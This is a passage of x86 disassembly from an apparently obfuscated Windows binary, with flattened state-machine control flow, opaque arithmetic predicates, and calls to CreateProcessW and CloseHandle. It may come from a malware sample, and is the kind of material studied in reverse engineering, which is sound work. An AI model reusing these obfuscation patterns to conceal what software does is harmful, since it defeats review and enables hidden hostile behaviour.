fnstcw word [esi + 0x44]
movzx eax, word [esi + 0x44]
or eax, 0xc00
mov word [esi + 0xae], ax
fldcw word [esi + 0xae]
fistp dword [esi + 0xf0]
fldcw word [esi + 0x44]
mov eax, dword [esi + 0xf0]
mov dword [esi + 0xa4], eax
mov dword [esi + 4], 0x4c34006
jmp 0x420356
cmp eax, 0xcde2a732
je 0x422af4
cmp eax, 0xcde339b0
jne 0x420356
push dword [esi + 0x128]
call fcn.0043c534
add esp, 4
mov edi, eax
push dword [esi + 0x90]
push dword [esi + 0xcc]
push dword [esi + 0x74]
call fcn.0043c57c
add esp, 0xc
mov eax, dword [esi + 0x90]
mov ecx, dword [esi + 0x74]
mov word [ecx + eax*2], bx
push dword [esi + 0x94]
push dword [esi + 0xd0]
push edi
call fcn.0043c57c
add esp, 0xc
mov eax, dword [esi + 0x94]
mov word [edi + eax*2], bx
lea ebx, [esi + 0x17c]
push ebx
push 2
call fcn.004196a4
add esp, 8
push dword [esi + 0xf8]
push ebx
push edi
push dword [esi + 0x74]
call fcn.00404619
add esp, 0x10
push ebx
xor ebx, ebx
call fcn.00419a9a
add esp, 4
push edi
call fcn.0043c186
add esp, 4
mov dword [esi + 4], 0x4c02e121
jmp 0x420356
cmp eax, 0xce5f35f6
je 0x422b16
cmp eax, 0xd1d22a06
jne 0x420356
mov eax, dword [esi + 0xb8]
mov dword [esi + 0xa8], eax
mov dword [esi + 4], 0xb2ff0500
jmp 0x420356
cmp eax, 0xd3dc4461
je 0x422b39
cmp eax, 0xd4eb179e
jne 0x420356
push dword [esi + 0x14]
push dword [esi + 0x34]
call fcn.0041840b
add esp, 8
mov eax, dword [esi + 0x34]
cmp dword [esi + 0xa4], 0
mov eax, 0x5a9213f3
je 0x4239a7
mov eax, 0x3bcd4b58
jmp 0x4239a7
cmp eax, 0xa6935e71
je 0x422c03
cmp eax, 0xa7d93225
jne 0x420356
mov dword [esi + 4], 0x6870efa2
jmp 0x420356
cmp eax, 0x70c9d926
je 0x422c56
cmp eax, 0x723d941a
jne 0x420356
mov eax, dword [esi + 8]
shl eax, 9
add eax, 0xffffe600
shr eax, 8
imul eax, eax, 0x15e0
mov dword [esi + 8], eax
mov dword [esi + 4], 0xdd1c5951
jmp 0x420356
cmp eax, 0x72d24bce
je 0x422c80
cmp eax, 0x741bc2e2
jne 0x420356
mov ecx, dword [esi + 8]
mov eax, ecx
shr eax, 0xb
shr ecx, 0x1a
imul eax, eax
imul edx, eax, 0x7797
dec edx
imul ecx, ecx, 0x55
add ecx, 0x4114
mov dword [esi + 8], ecx
mov ecx, 0xa18d186b
cmp eax, edx
je 0x421cb3
mov ecx, 0xd1d22a06
mov dword [esi + 4], ecx
mov eax, dword [esi + 0x148]
mov dword [esi + 0xb8], eax
jmp 0x420356
cmp eax, 0x4f121936
je 0x422d08
cmp eax, 0x50f6307b
jne 0x420356
push 3
push 0x454b25
push dword [esi + 0x10]
call fcn.00401602
add esp, 0xc
mov dword [esi + 0x134], eax
mov dword [esi + 4], 0x72d24bce
jmp 0x420356
cmp eax, 0x52dce113
je 0x422d17
cmp eax, 0x54ed3635
jne 0x420356
mov eax, dword [esi + 0x9c]
add eax, eax
mov dword [esi + 0x130], eax
mov dword [esi + 4], 0x37c947d6
jmp 0x420356
cmp eax, 0x3a4e65d
je 0x422d64
cmp eax, 0x4bded57
jne 0x420356
imul eax, dword [esi + 8], 0x780
add eax, 0xffffffbb
mov dword [esi + 8], eax
mov dword [esi + 4], 0x2ccbb42d
mov eax, dword [esi + 0xdc]
mov dword [esi + 0xbc], eax
jmp 0x420356
cmp eax, 0x6c5bacf
je 0x422d70
cmp eax, 0x7576378
jne 0x420356
push 0x454b14
push dword [esi + 0x18]
call fcn.0040147c
add esp, 8
mov dword [esi + 0x80], eax
mov dword [esi + 4], 0xb3b84475
jmp 0x420356
cmp eax, 0xd6500c06
je 0x422dc0
cmp eax, 0xd679a096
jne 0x420356
call fcn.00420196
mov eax, dword [esi + 0x1c]
push dword [esi + 0x1c]
push 1
call fcn.004196a4
add esp, 8
push dword [esi + 0x1c]
call fcn.00428048
add esp, 4
mov dword [esi + 4], 0x9fdb67c9
jmp 0x420356
cmp eax, 0xd80e93a9
je 0x422dcf
cmp eax, 0xd818de76
jne 0x420356
push eax
sub esp, 0x3fc
mov eax, esp
mov dword [esi + 0x14], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x50], eax
mov dword [esi + 4], 0x27d54627
jmp 0x420356
cmp eax, 0xb5726028
je 0x422e29
cmp eax, 0xb6a4cc46
jne 0x420356
mov eax, dword [esi + 0xc]
shl eax, 2
and eax, 0x7fffffc
imul edi, eax, 0xeeb
add edi, 0x4d22f
mov dword [esi + 0xc], edi
call fcn.0042033c
push 0x3c72
push 0x309b
push edi
call 0x423c78
add esp, 0xc
mov dword [esi + 4], 0x3c4c5a5e
jmp 0x420356
cmp eax, 0xbc8c7a55
je 0x422e83
cmp eax, 0xbcd91429
jne 0x420356
mov edi, dword [esi + 0xc]
mov eax, 0xffffff67
add edi, eax
mov ebx, edi
shr ebx, 5
mov dword [esi + 0xc], ebx
call fcn.0040560b
push 0x826
push 0x5b31
push ebx
call 0x423c78
add esp, 0xc
mov eax, 0xb2ff0500
cmp edi, 0x1080
jae 0x421ec2
mov eax, 0x6b403010
mov dword [esi + 4], eax
xor ebx, ebx
jmp 0x420356
cmp eax, 0xc188efd3
je 0x422eac
cmp eax, 0xc32f5f3a
jne 0x420356
cmp dword [esi + 0x108], 0
mov eax, 0x3613e87a
je 0x4239a7
mov eax, 0x4a9dd6a2
jmp 0x4239a7
cmp eax, 0xac982cab
je 0x422f17
cmp eax, 0xacefb05c
jne 0x420356
push dword [esi + 0x20]
call fcn.004016f1
add esp, 4
mov dword [esi + 4], 0xa10e0e89
jmp 0x420356
cmp eax, 0x1ec15ad4
je 0x422fae
cmp eax, 0x1ef00048
jne 0x420356
fld qword [esi + 0x160]
fnstcw word [esi + 0x4a]
movzx eax, word [esi + 0x4a]
or eax, 0xc00
mov word [esi + 0xb4], ax
fldcw word [esi + 0xb4]
fistp dword [esi + 0xe4]
fldcw word [esi + 0x4a]
mov eax, dword [esi + 0xe4]
cmp eax, 4
ja case.0x421f78.3
jmp dword [eax*4 + 0x454b30]
imul eax, dword [esi + 8], 0xab0
add eax, 0x46dde
mov dword [esi + 8], eax
mov dword [esi + 4], 0x671ff552
jmp 0x420356
cmp eax, 0x32b3c8cc
je case.0x421f78.4
cmp eax, 0x33245e78
jne 0x420356
mov dword [esi + 4], 0x1639dd11
jmp 0x420356
cmp eax, 0x26b14882
je 0x422fc6
cmp eax, 0x2756e91f
jne 0x420356
push 0x454b23
push dword [esi + 0x10]
call fcn.004013cf
add esp, 8
mov dword [esi + 0xa0], eax
mov dword [esi + 4], 0xa18d186b
jmp 0x420356
cmp eax, 0x3613e87a
je 0x422fdc
cmp eax, 0x37c947d6
jne 0x420356
mov eax, dword [esi + 0x130]
add eax, 2
push eax
call fcn.0043c534
add esp, 4
mov dword [esi + 0x7c], eax
mov dword [esi + 4], 0xe47e4be3
jmp 0x420356
cmp eax, 0x29580c1c
je 0x422fff
cmp eax, 0x2b68d8b4
jne 0x420356
push dword [esi + 0x120]
call fcn.0043c534
add esp, 4
mov dword [esi + 0x74], eax
mov eax, dword [esi + 0x94]
add eax, eax
mov dword [esi + 0x124], eax
mov dword [esi + 4], 0x8911bf53
jmp 0x420356
cmp eax, 0x3b4d0c96
je 0x423020
cmp eax, 0x3bcd4b58
jne 0x420356
mov eax, dword [esi + 8]
add eax, 0xffffffcb
imul ecx, eax, 0xae74
imul eax, eax
imul edx, eax, 0x5677
dec edx
mov dword [esi + 8], ecx
mov ecx, 0xca12a094
cmp edx, eax
je 0x423abc
mov ecx, 0xb8f068c5
jmp 0x423abc
cmp eax, 0xf6ef9cbc
je 0x42310d
cmp eax, 0xf84f1a2d
jne 0x420356
mov dword [esi + 4], 0xf998b3fe
jmp 0x420356
cmp eax, 0xfec82210
je 0x42311c
cmp eax, 0xdd6bf
jne 0x420356
push dword [esi + 0x80]
call fcn.0040169e
add esp, 4
mov dword [esi + 0xfc], eax
mov dword [esi + 4], 0x72c45320
jmp 0x420356
cmp eax, 0xe626ce65
je 0x423152
cmp eax, 0xe6e81e80
jne 0x423bbb
imul eax, dword [esi + 8], 0xe4
shr eax, 8
imul eax, eax, 0xc5
shr eax, 7
and eax, 0xfffffff0
lea eax, [eax + eax*8]
mov dword [esi + 8], eax
mov dword [esi + 4], 0x55d33f9b
jmp 0x420356
cmp eax, 0xfb1f247c
je 0x42318f
cmp eax, 0xfbf14b31
jne 0x420356
push 0x454b16
push dword [esi + 0x18]
call fcn.0040147c
add esp, 8
mov dword [esi + 0xf8], eax
mov dword [esi + 4], 0x43b4407d
jmp 0x420356
cmp eax, 0x1541b14
je 0x4231a6
cmp eax, 0x1ed163b
jne 0x420356
and dword [esi + 0xc], 0xfffff000
mov dword [esi + 4], 0x902e7ac3
jmp 0x420356
cmp eax, 0x9252eb53
je 0x423291
cmp eax, 0x939409e9
jne 0x420356
mov eax, dword [esi + 0x98]
add eax, eax
add eax, 2
mov dword [esi + 0x12c], eax
mov dword [esi + 4], 0xa53e1d55
jmp 0x420356
cmp eax, 0x4a9dd6a2
je 0x4232f5
cmp eax, 0x4b1c1da0
jne 0x420356
push dword [esi + 0x54]
push dword [esi + 0x14]
call fcn.00440006
add esp, 8
cmp dword [esi + 0xa4], 0
mov eax, 0x14a64970
je 0x4239a7
mov eax, 0x4f121936
jmp 0x4239a7
cmp eax, 0x15d97bfc
je 0x42335d
cmp eax, 0x1639dd11
jne 0x420356
push dword [esi + 0x20]
call fcn.004016f1
add esp, 4
cmp byte [esi + 0x27], 0
mov eax, 0x2e003a2d
jne 0x4239a7
mov eax, 0x12610054
jmp 0x4239a7
cmp eax, 0xc5a2abd5
je 0x423435
cmp eax, 0xc948a886
jne 0x420356
mov eax, dword [esi + 0xc]
shr eax, 6
and eax, 0x1ffffff
imul edi, eax, 0xc4914a
add edi, 0x9b1aa464
mov dword [esi + 0xc], edi
push edi
push 0x4fda
push 0x59
call 0x423c78
add esp, 0xc
mov eax, 0x27d54627
cmp edi, 0xd4
jge 0x4239a7
mov eax, 0xac982cab
jmp 0x4239a7
cmp eax, 0x5f4319e1
je 0x42346d
cmp eax, 0x5f9b86b9
jne 0x420356
mov eax, dword [esi + 0xc]
shl eax, 0x10
lea ecx, [eax + eax*4]
mov dword [esi + 0xc], ecx
mov eax, 0x1964a6a8
test ecx, ecx
je 0x4239a7
mov eax, 0xa990d126
jmp 0x4239a7
cmp eax, 0x671ff552
je 0x42348f
cmp eax, 0x67e8ee27
jne 0x420356
push dword [esi + 0x1c]
call fcn.00419a9a
add esp, 4
push 6
push 0x454b2d
push dword [esi + 0x18]
call fcn.00401602
add esp, 0xc
mov dword [esi + 0x158], eax
mov dword [esi + 4], 0xb25c3d7e
jmp 0x420356
cmp eax, 0x64008e50
je 0x4234bd
cmp eax, 0x6552d6f3
jne 0x420356
imul eax, dword [esi + 8], 0x17c0
add eax, 0xfffec3d4
mov dword [esi + 8], eax
mov dword [esi + 4], 0x19e6e3b5
jmp 0x420356
cmp eax, 0x69f6c253
je 0x4234d7
cmp eax, 0x6b403010
jne 0x420356
push 0
call fcn.0043ac8d
add esp, 4
push eax
call fcn.0043c85e
add esp, 4
mov dword [esi + 4], 0xa2605f56
jmp 0x420356
cmp eax, 0x999199b3
je 0x423538
cmp eax, 0x9a416e1b
jne 0x420356
imul eax, dword [esi + 0xc], 0xcc000
shr eax, 6
add eax, 0xffffffae
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x4c02e121
jmp 0x420356
cmp eax, 0xb00ced17
je 0x4235bd
cmp eax, 0xb25c3d7e
jne 0x420356
cmp dword [esi + 0x158], 0
mov eax, 0x1e33837e
je 0x4239a7
mov eax, 0x194b7f74
jmp 0x4239a7
cmp eax, 0xb2ff0500
je 0x4235f3
cmp eax, 0xb30fe7f8
jne 0x420356
push 0x454b1f
push dword [esi + 0x10]
call fcn.004013cf
add esp, 8
mov dword [esi + 0xd0], eax
mov dword [esi + 4], 0xdbb22b17
jmp 0x420356
cmp eax, 0xb4b9349a
je 0x423674
cmp eax, 0xb4d4536b
jne 0x420356
mov dword [esi + 4], 0x9252eb53
jmp 0x420356
cmp eax, 0x9ceb4c3d
je 0x423736
cmp eax, 0x9fdb67c9
jne 0x420356
mov eax, dword [esi + 8]
shl eax, 9
and eax, 0x3ffffe00
imul eax, eax, 0x52b4
mov dword [esi + 8], eax
mov dword [esi + 4], 0x7ed04493
jmp 0x420356
cmp eax, 0x21102173
je 0x423783
cmp eax, 0x21a0769d
jne 0x420356
mov eax, dword [esi + 0xc]
shl eax, 0xc
or eax, 0xcc
imul edi, eax, 0x3c
mov dword [esi + 0xc], edi
push 0x722
push edi
push 0x4d76
call 0x423c78
add esp, 0xc
call fcn.0042033c
mov eax, 0x293a4e14
cmp edi, 0xec
jl 0x4239a7
mov eax, 0xdd1c5951
jmp 0x4239a7
cmp eax, 0x2e003a2d
je 0x4237bb
cmp eax, 0x2ed4b61f
jne 0x420356
push dword [esi + 0x20]
call fcn.00401460
add esp, 4
mov dword [esi + 0x18], eax
push 3
push 0x454b12
push dword [esi + 0x18]
call fcn.00401602
add esp, 0xc
mov ecx, 0xb2fbf1fe
test eax, eax
je 0x423abc
mov ecx, 0x1541b14
jmp 0x423abc
cmp eax, 0x76467f4f
je 0x423816
cmp eax, 0x769bf18c
jne 0x420356
mov ecx, dword [esi + 8]
mov eax, ecx
shr eax, 8
imul eax, eax
imul edx, eax, 0x83df
dec edx
shl ecx, 3
and ecx, 0x3ffff800
mov dword [esi + 8], ecx
mov ecx, 0xb5726028
cmp edx, eax
je 0x423abc
mov ecx, 0x1251d395
jmp 0x423abc
cmp eax, 0x5602a2d7
je case.0x421f78.0
cmp eax, 0x58a1ac96
jne 0x420356
mov eax, dword [esi + 0x11c]
add eax, 2
mov dword [esi + 0x120], eax
mov dword [esi + 4], 0x2b68d8b4
jmp 0x420356
cmp eax, 0x951b105
je 0x423895
cmp eax, 0x9afd583
jne 0x420356
push dword [esi + 0x14]
push dword [esi + 0x28]
call fcn.0041840b
add esp, 8
mov eax, dword [esi + 0x28]
mov eax, dword [esi + 0x2c]
mov dword [esi + 4], 0x9fdb8c01
jmp 0x420356
cmp eax, 0xdbb22b17
je 0x4238f9
cmp eax, 0xdbe0a494
jne 0x420356
mov eax, dword [esi + 0xc]
mov ecx, 0xfffffdb6
add eax, ecx
shr eax, 0xc
imul edi, eax, 0xddfa
mov dword [esi + 0xc], edi
push edi
push 0xbe2
push 0x2b37
call 0x423c78
add esp, 0xc
push 0x1ad2
push edi
push 0x5a22
call 0x423c78
add esp, 0xc
mov eax, 0xdd6bf
cmp edi, 0xa6
jl 0x423287
jmp 0x4239a7
cmp eax, 0xa963abec
je 0x423965
cmp eax, 0xa990d126
jne 0x420356
imul eax, dword [esi + 0xc], 0x9324000
add eax, 0xfffee9f9
shr eax, 8
mov dword [esi + 0xc], eax
call fcn.0042033c
call fcn.0040560b
mov dword [esi + 4], 0x8d6667c8
jmp 0x420356
cmp eax, 0x783a9b22
je 0x4239af
cmp eax, 0x7aeb6bba
jne 0x420356
push 0x80
push ebx
lea eax, [esi + 0x184]
push eax
call fcn.00432cd0
add esp, 0xc
push 0x400
push ebx
push dword [esi + 0x14]
call fcn.00432cd0
add esp, 0xc
mov dword [esi + 4], 0x4cba4df0
jmp 0x420356
cmp eax, 0x5a2f4ff5
je 0x4239e4
cmp eax, 0x5a9213f3
jne 0x420356
mov eax, dword [esi + 8]
add eax, 0xffffffb7
shr eax, 0xc
imul ecx, eax, 0x9a
imul eax, eax
imul edx, eax, 0x8851
dec edx
add ecx, 0xffffff13
mov dword [esi + 8], ecx
mov ecx, 0x1ed163b
cmp eax, edx
je 0x423abc
mov ecx, 0xdb7fe5fa
jmp 0x423abc
cmp eax, 0xad6edee
je 0x4239f0
cmp eax, 0xb7fcbe0
jne 0x420356
mov eax, dword [esi + 0xc]
shr eax, 3
imul ecx, eax, 0x680
add ecx, 0xffffff80
shr ecx, 0xa
mov dword [esi + 0xc], ecx
mov eax, 0xfbf14b31
cmp ecx, 0x32
jne 0x4238ef
jmp 0x4239a7
cmp eax, 0xdd15db0d
je 0x423a09
cmp eax, 0xdd1c5951
jne 0x420356
movzx eax, word [esi + 0xb6]
mov ecx, dword [esi + 0x144]
mov word [ecx], ax
mov dword [esi + 4], 0x4733401a
jmp 0x420356
imul eax, dword [esi + 8], 0xca
add eax, 0x3f2
shr eax, 9
mov ecx, eax
imul ecx, eax
shl eax, 5
imul edx, ecx, 0x2295
add eax, 0xffffff99
dec edx
mov dword [esi + 8], eax
mov eax, 0xdf206d0c
cmp ecx, edx
jne 0x422b61
jmp 0x4239a7
push 2
push 0x454b23
push dword [esi + 0x10]
call fcn.00401602
add esp, 0xc
mov ecx, 0xad6edee
test eax, eax
je 0x423abc
mov ecx, 0x5b1843a4
jmp 0x423abc
mov dword [esi + 4], 0x5c5835ad
jmp 0x420356
imul ecx, dword [esi + 0xc], 0xe7
add ecx, 0xffff3244
mov dword [esi + 0xc], ecx
mov eax, 0xa18f12cd
cmp ecx, 0xb7
je 0x4239a7
mov eax, 0xc5a2abd5
jmp 0x4239a7
mov eax, dword [esi + 0xc]
shr eax, 6
imul edi, eax, 0x79
add edi, 0x4ffe
mov dword [esi + 0xc], edi
call fcn.0042033c
call fcn.0042033c
mov eax, 0x410b6d0d
cmp edi, 0x67
jl 0x4239a7
mov eax, 0xee3271ef
jmp 0x4239a7
lea edi, [esi + 0x16c]
push edi
push dword [esi + 0x7c]
push dword [esi + 0x78]
call fcn.00424a43
add esp, 0xc
push edi
call fcn.00419a9a
add esp, 4
push dword [esi + 0x7c]
call fcn.0043c186
add esp, 4
push dword [esi + 0x78]
jmp 0x422f03
mov eax, dword [esi + 0xc]
mov edi, eax
shl edi, 8
sub edi, eax
add edi, 0x27f7e
mov dword [esi + 0xc], edi
call fcn.0040560b
mov eax, 0x293a4e14
cmp edi, 0xfe
je 0x4239a7
mov eax, 0xdd6bf
jmp 0x4239a7
push 0x454b1b
push dword [esi + 0x10]
call fcn.004013cf
add esp, 8
mov dword [esi + 0xc0], eax
mov dword [esi + 4], 0xddb15dae
jmp 0x420356
mov dword [esi + 4], 0xb30fe7f8
jmp 0x420356
push dword [esi + 0xe0]
push dword [esi + 0x80]
call fcn.004016ad
add esp, 8
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0x5aed916e
jmp 0x420356
push dword [esi + 0x14c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 4], 0xca62c2b2
jmp 0x420356
push 0x452150
push dword [esi + 0x14]
call fcn.00440006
add esp, 8
mov dword [esi + 4], 0xe449f44d
jmp 0x420356
push eax
sub esp, 0x40
mov eax, esp
mov dword [esi + 0x2c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x30], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x58], eax
sub esp, 0x400
mov eax, esp
mov dword [esi + 0x34], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x5c], eax
mov dword [esi + 4], 0xfd691bec
jmp 0x420356
mov edi, dword [esi + 0xc]
add edi, edi
and edi, 0x3fffffe
lea eax, [edi - 0xcd]
mov dword [esi + 0xc], eax
push eax
push 0x22f3
push 0x4d88
call 0x423c78
add esp, 0xc
call fcn.0042033c
mov eax, 0xfbf14b31
cmp edi, 0x183
jb 0x4239a7
mov eax, 0xc32f5f3a
jmp 0x4239a7
mov eax, dword [esi + 0x64]
mov eax, dword [esi + 0x60]
mov eax, dword [esi + 0x38]
mov eax, dword [esi + 0x5c]
mov dword [esi + 4], 0x88aafe5f
jmp 0x420356
mov eax, dword [esi + 8]
shr eax, 1
imul eax, eax, 0xc9cc
mov dword [esi + 8], eax
mov dword [esi + 4], 0x7576378
jmp 0x420356
push dword [esi + 0xc0]
call fcn.0043cc10
add esp, 4
mov dword [esi + 0x84], eax
push dword [esi + 0xc4]
call fcn.0043cc10
add esp, 4
mov dword [esi + 0x88], eax
mov dword [esi + 4], 0xf05b0e6
jmp 0x420356
mov ecx, dword [esi + 0xf4]
mov eax, 0x5e8de54a
cmp ecx, 4
je 0x4239a7
mov eax, 0xa8c75e36
jmp 0x4239a7
mov dword [esi + 4], 0xfb1f247c
jmp 0x420356
mov eax, dword [esi + 0x5c]
mov dword [esi + 4], 0xf84f1a2d
jmp 0x420356
push 0x454b2d
push dword [esi + 0x18]
call fcn.004014b2
add esp, 8
mov dword [esi + 0x15c], eax
mov dword [esi + 4], 0x6552d6f3
jmp 0x420356
imul eax, dword [esi + 8], 0x4f4c2000
mov dword [esi + 8], eax
mov dword [esi + 4], 0x54ed3635
jmp 0x420356
lea eax, [esi + 0x16c]
push eax
push 3
call fcn.004196a4
add esp, 8
mov dword [esi + 4], 0xcbf6867d
jmp 0x420356
mov dword [esi + 4], 0x2f6863b7
jmp 0x420356
mov eax, dword [esi + 8]
mov ecx, 0xfffffeb8
add eax, ecx
shr eax, 2
lea ecx, [eax - 0xa8]
imul eax, eax
imul edx, eax, 0x435b
shr ecx, 2
dec edx
add ecx, 0xffffff64
mov dword [esi + 8], ecx
mov ecx, 0x1ec15ad4
jmp 0x422ea3
push 0x454b19
push dword [esi + 0x10]
call fcn.0040142a
add esp, 8
fstp qword [esi + 0x160]
mov dword [esi + 4], 0x1ef00048
jmp 0x420356
mov eax, dword [esi + 0xc]
shr eax, 7
imul eax, eax, 0x1d26
add eax, 0x1c771c
shr eax, 0xe
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x27d54627
jmp 0x420356
mov eax, dword [esi + 8]
lea ecx, [eax + 0xb9]
imul ecx, ecx
imul edx, ecx, 0x6495
dec edx
add eax, 0xd4
mov dword [esi + 8], eax
mov eax, 0xb5726028
cmp edx, ecx
je 0x4239a7
mov eax, 0xad6edee
jmp 0x4239a7
push 0x454b2a
push dword [esi + 0x18]
call fcn.004014b2
add esp, 8
mov ecx, 0x64008e50
test eax, eax
je 0x423abc
mov ecx, 0xd75583ff
jmp 0x423abc
mov eax, dword [esi + 8]
imul ecx, eax, 0x4f
imul ecx, ecx
imul edx, ecx, 0x723f
imul eax, eax, 0x2d545c
dec edx
mov dword [esi + 8], eax
mov eax, 0x999199b3
cmp ecx, edx
je 0x4239a7
mov eax, 0xd2e381b8
jmp 0x4239a7
mov eax, dword [esi + 0x30]
mov dword [esi + 4], 0x3aeee27d
jmp 0x420356
mov eax, dword [esi + 8]
lea ecx, [eax - 0x17c]
imul ecx, ecx
add eax, 0xfffffdf5
imul edx, ecx, 0x7083
dec edx
mov dword [esi + 8], eax
mov eax, 0xe40ce2aa
cmp edx, ecx
je 0x4239a7
mov eax, 0xf6e8e4fa
jmp 0x4239a7
mov eax, dword [esi + 0x3c]
mov dword [esi + 4], 0x3f05df80
jmp 0x420356
mov ecx, dword [esi + 0xc]
shr ecx, 0xb
and ecx, 0x7ffff
mov dword [esi + 0xc], ecx
mov eax, 0xadb0efa1
cmp ecx, 0xb
jae 0x4239a7
mov eax, 0x5c533122
jmp 0x4239a7
push dword [esi + 0x114]
call fcn.0043c534
add esp, 4
mov dword [esi + 0x6c], eax
mov dword [esi + 4], 0x4371cbc3
jmp 0x420356
mov eax, dword [esi + 0xc]
shr eax, 0x14
imul ecx, eax, 0x121c000
mov eax, 0xb5726028
add ecx, 0xfdbc8000
mov dword [esi + 0xc], ecx
je 0x4239a7
mov eax, 0x83112651
jmp 0x4239a7
mov eax, dword [esi + 8]
shl eax, 0x15
lea eax, [eax + eax*2]
shr eax, 0xe
mov dword [esi + 8], eax
mov dword [esi + 4], 0xc4f3998c
jmp 0x420356
push dword [esi + 0x74]
call fcn.0043c186
add esp, 4
mov dword [esi + 4], 0x3a4e65d
jmp 0x420356
mov edi, dword [esi + 0x100]
xor eax, eax
mov ecx, 0x10
rep stosd dword es:[edi], eax
mov eax, dword [esi + 0x3c]
mov dword [eax], 0x44
mov eax, dword [esi + 0x40]
mov eax, dword [esi + 0x40]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], ebx
mov dword [eax + 4], ebx
mov dword [eax], ebx
push dword [esi + 0x40]
push dword [esi + 0x3c]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [esi + 0x64]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov eax, dword [esi + 0x40]
mov eax, dword [eax]
mov dword [esi + 0x150], eax
mov dword [esi + 4], 0xe54eb51f
jmp 0x420356
mov eax, dword [esi + 0x54]
mov dword [esi + 4], 0x88aafe5f
jmp 0x420356
cmp dword [esi + 0x138], 0
mov eax, 0xbc8c7a55
je 0x4239a7
mov eax, 0x6e1c8c81
jmp 0x4239a7
mov eax, dword [esi + 0xc]
lea ecx, [eax + eax*2]
lea eax, [eax + ecx*4]
shr eax, 6
and eax, 0x3fffe00
or eax, 0x173
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xdd1c5951
jmp 0x420356
mov dword [esi + 4], 0xd6500c06
jmp 0x420356
imul eax, dword [esi + 8], 0x6e
add eax, 0xffffffb4
jmp 0x422ff0
mov eax, dword [esi + 8]
shr eax, 1
and eax, 0x1fffffff
lea ecx, [eax - 0xd8]
imul ecx, ecx
imul edx, ecx, 0x6821
dec edx
add eax, 0xffffff59
mov dword [esi + 8], eax
mov eax, 0x67d7b2
cmp ecx, edx
je 0x4239a7
mov eax, 0x482f1844
jmp 0x4239a7
push dword [esi + 0x1c]
call fcn.00426ddf
add esp, 4
mov dword [esi + 4], 0x67e8ee27
jmp 0x420356
mov eax, dword [esi + 0x14]
mov dword [esi + 4], 0x7aeb6bba
jmp 0x420356
mov eax, dword [esi + 8]
shr eax, 0xc
imul ecx, eax, 0x810
imul eax, eax
imul edx, eax, 0xddb
dec edx
add ecx, 0x14
mov dword [esi + 8], ecx
mov ecx, 0xb5726028
cmp eax, edx
je 0x423abc
mov ecx, 0x67e8ee27
jmp 0x423abc
push dword [esi + 0x150]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 0x40]
mov dword [esi + 4], 0x9ceb4c3d
jmp 0x420356
mov dword [esi + 4], 0x15d97bfc
jmp 0x420356
push eax
sub esp, 0x38
mov eax, esp
mov dword [esi + 0x60], eax
sub esp, 0x400
mov eax, esp
mov dword [esi + 0x64], eax
sub esp, 0x44
mov eax, esp
mov dword [esi + 0x3c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x40], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x1c], eax
call fcn.0042b475
push eax
call fcn.00401241
add esp, 4
mov dword [esi + 0x20], eax
push dword [esi + 0x20]
call fcn.00401633
add esp, 4
mov dword [esi + 0xf4], eax
mov dword [esi + 4], 0x410b6d0d
jmp 0x420356
mov ecx, dword [esi + 8]
mov eax, ecx
shr eax, 7
shr ecx, 0xa
imul eax, eax
imul edx, eax, 0xf6d
dec edx
add ecx, 0xffffffe7
mov dword [esi + 8], ecx
mov ecx, 0x1d7eba2f
cmp edx, eax
jne 0x422ee0
jmp 0x423abc
mov ecx, dword [esi + 8]
imul eax, ecx, 0xe7
add eax, 0xab65
imul eax, eax
imul edx, eax, 0x2f69
imul ecx, ecx, 0x73800
add ecx, 0x5626000
dec edx
mov dword [esi + 8], ecx
mov ecx, 0xb5726028
cmp eax, edx
je 0x423abc
mov ecx, 0xad6edee
jmp 0x423abc
push dword [esi + 0x70]
call fcn.0043c186
add esp, 4
push dword [esi + 0x6c]
call fcn.0043c186
add esp, 4
push dword [esi + 0x68]
call fcn.0043c186
add esp, 4
mov dword [esi + 4], 0xad6edee
jmp 0x420356
mov eax, dword [esi + 0xc]
shl eax, 5
add eax, 0xffffff7e
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xb5726028
jmp 0x420356
mov eax, dword [esi + 8]
lea eax, [eax + eax*2]
shl eax, 0xf
add eax, 0xffffe5c0
shr eax, 3
mov dword [esi + 8], eax
mov dword [esi + 4], 0x89170e67
jmp 0x420356
imul eax, dword [esi + 8], 0x2600
shr eax, 0xd
mov dword [esi + 8], eax
mov dword [esi + 4], 0x2ccbb42d
mov dword [esi + 0xbc], 0
jmp 0x420356
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x54], eax
sub esp, 0x400
mov eax, esp
mov dword [esi + 0x28], eax
mov dword [esi + 4], 0x25b4543f
jmp 0x420356
mov eax, dword [esi + 0x88]
add eax, eax
mov dword [esi + 0x110], eax
mov dword [esi + 4], 0xea1e4123
jmp 0x420356
push eax
sub esp, 0x3fc
mov eax, esp
mov dword [esi + 0x38], eax
mov dword [esi + 4], 0x7ccb0544
jmp 0x420356
mov eax, dword [esi + 0x1c]
mov dword [esi + 4], 0xa8456994
mov dword [esi + 0x4c], 1
jmp 0x420356
mov eax, dword [esi + 8]
shl eax, 0xe
or eax, 0x2d
imul eax, eax, 0xc8
or eax, 0xc5
mov dword [esi + 8], eax
mov dword [esi + 4], 0xad6edee
jmp 0x420356
mov eax, dword [esi + 0xc]
shl eax, 0xb
lea eax, [eax + eax*2]
shr eax, 0x1b
imul eax, eax, 0x2f
add eax, 0xffffffb3
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x5aed916e
jmp 0x420356
mov eax, dword [esi + 8]
mov ecx, eax
shl ecx, 7
lea eax, [ecx + eax*4]
add eax, 0xfffffef5
shr eax, 3
imul eax, eax, 0x1ee0000
mov dword [esi + 8], eax
mov dword [esi + 4], 0xc1010f35
jmp 0x420356
mov edi, dword [esi + 0xc]
add edi, 0xffffffc4
mov eax, edi
shr eax, 6
